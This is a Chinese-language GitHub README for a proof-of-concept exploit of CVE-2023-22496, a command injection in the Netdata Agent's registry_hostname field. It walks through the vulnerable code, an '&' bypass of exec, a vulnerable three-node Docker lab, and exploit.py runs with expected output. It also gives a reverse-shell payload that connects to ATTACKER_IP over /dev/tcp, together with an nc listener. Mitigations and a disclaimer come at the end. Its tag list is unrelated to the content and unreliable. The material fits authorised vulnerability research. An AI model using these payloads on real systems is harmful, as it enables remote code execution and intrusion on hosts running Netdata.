jstjep00/CVE-2023-22496-PoC
GitHub: jstjep00/CVE-2023-22496-PoC
针对 Netdata Agent registry_hostname 命令注入漏洞(CVE-2023-22496)的概念验证工具,附带三节点 Docker 漏洞环境和独立利用脚本。
Stars: 1 | Forks: 0
# CVE-2023-22496 — Netdata Agent OS 命令注入 PoC
## 概述
**CVE-2023-22496** 是 Netdata 的健康告警通知系统中存在的一个 OS 命令注入漏洞。流式传输链中任何节点的 `registry_hostname` 在未经清理的情况下被插入到 shell 命令中。能够在 Netdata 配置文件中设置 `registry hostname` 的攻击者,可以在处理该告警的任何父节点上以 `netdata` 进程用户的身份实现**远程代码执行**。
## 漏洞详情
### 易受攻击的代码 — `health/health.c`
```
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← NO SANITISATION — attacker-controlled
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // run via /bin/sh
...
}
```
`spawn_enq_cmd` 将该字符串传递给 `/bin/sh -c`,后者会将其作为 shell 执行。由于 `registry_hostname` 从未被清理,攻击者可以注入任意的 shell 命令。
### 绕过:`exec` 进程替换
简单的注入方式 `` `'; cmd; '` `` 并不起作用,因为 `exec` shell 内置命令会*替换*当前的 shell 进程,因此永远无法执行到被注入的 `;cmd;`。
**有效的绕过方式** — 使用 `&`(后台操作符):
```
# 注入后 Netdata 构建的内容:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# 执行流程:
# exec alarm-notify.sh 'root' 'x' & → 在后台运行;shell 保持活动状态
# touch /tmp/pwned & → shell 执行此操作;文件已创建
# # → 其余部分是注释;被忽略
```
## 流式传输攻击链
```
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (attacker) │ │ (relay) │ │ (victim / target) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() fires
with injected registry_hostname
→ RCE on agent_parent
```
攻击者只需控制流式传输链中的*任何*一个节点。`registry_hostname` 会在流协议中传播,并在每个父节点调用 `health_alarm_execute` 时被原封不动地使用。
## 仓库结构
```
CVE-2023-22496-PoC/
├── Dockerfile # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml # 3-node vulnerable streaming environment
├── exploit.py # Standalone exploit script
├── config/
│ ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│ ├── parent_stream.conf # Parent accepts streams + evaluates health
│ ├── parent_guid # Fixed node GUID
│ ├── middle_netdata.conf # Middle relay config
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # Child sender config
│ ├── child_stream.conf
│ └── child_guid
└── README.md
```
## 快速开始
### 前置条件
- Docker ≥ 20.10
- Docker Compose v2 (`docker compose`)
- Python 3.8+
- 约 500 MB 磁盘空间(用于镜像构建)
- 需要 Internet 访问以进行 Docker 构建(会下载 Netdata v1.36.1 源码)
### 第 1 步 — 构建易受攻击的 Docker 镜像
```
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# 构建大约需要 5–15 分钟(从源码编译 Netdata)
docker build -t netdata-vuln:v1.36.1 .
```
### 第 2 步 — 启动 3 节点漏洞环境
```
docker compose up -d
```
等待约 15 秒让 Netdata 初始化,然后验证:
```
# 父 web UI 应返回 HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# 预期:"version": "v1.36.1-..."
```
### 第 3 步 — 运行漏洞利用
```
# 默认:在目标上创建 /tmp/pwned (agent_parent)
python3 exploit.py "touch /tmp/pwned"
# 验证
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
```
**预期输出:**
```
======================================================================
CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
Shell command : 'touch /tmp/pwned'
Injected host : "x' & touch /tmp/pwned & #"
[*] Pre-flight: verifying Docker environment
[*] All 3 containers are running.
[*] Step 1: Writing injected netdata.conf for agent_parent
Written: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] Step 2: Restarting agent_parent to load injected config
...
agent_parent is up and responding.
[*] Step 3: Waiting 65s for a disk_space WARNING alarm
[*] Step 4: Checking for command execution evidence
======================================================================
✅ SUCCESS — CVE-2023-22496 CONFIRMED
'/tmp/pwned' exists on agent_parent
======================================================================
```
### 反向 Shell 示例
```
# 在你的监听机器上:
nc -lvnp 4444
# 运行 exploit(替换 ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
```
### 自定义命令
```
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
```
## 清理环境
```
# 停止并移除 containers 和 volumes
docker compose down -v
# 移除 image
docker rmi netdata-vuln:v1.36.1
```
## 缓解措施
| 操作 | 详情 |
|--------|--------|
| **升级** | 将 Netdata Agent 更新至 ≥ v1.37.0 |
| **限制** | 限制对 `netdata.conf` 的写入权限 |
| **网络** | 将流式传输端口 (19999/tcp) 隔离,仅对受信任的网络开放 |
| **验证** | `netdata --version` — 确认您没有使用 1.37 之前的版本 |
v1.37.0 中的修复通过拒绝任何超出 `[a-zA-Z0-9._-]` 范围的字符,在将 `registry_hostname` 插入 shell 命令之前对其进行了清理。
## 参考
- [NVD — CVE-2023-22496](https://nvd.nist.gov/vuln/detail/CVE-2023-22496)
- [GitHub 安全公告 GHSA-qxg7-jvq3-7x6h](https://github.com/netdata/netdata/security/advisories/GHSA-qxg7-jvq3-7x6h)
- [Netdata 修复提交](https://github.com/netdata/netdata/commit/76b9a45)
- [Netdata v1.37.0 发布](https://github.com/netdata/netdata/releases/tag/v1.37.0)
## 免责声明
本仓库仅**出于教育和授权的安全研究目的**提供。在您不拥有或未获得明确书面授权进行测试的系统上运行此 PoC 是**违法的**。作者对任何滥用行为不承担责任。
标签:Cutter, Maven, PoC, 命令注入, 暴力破解, 漏洞验证, 版权保护, 请求拦截, 逆向工具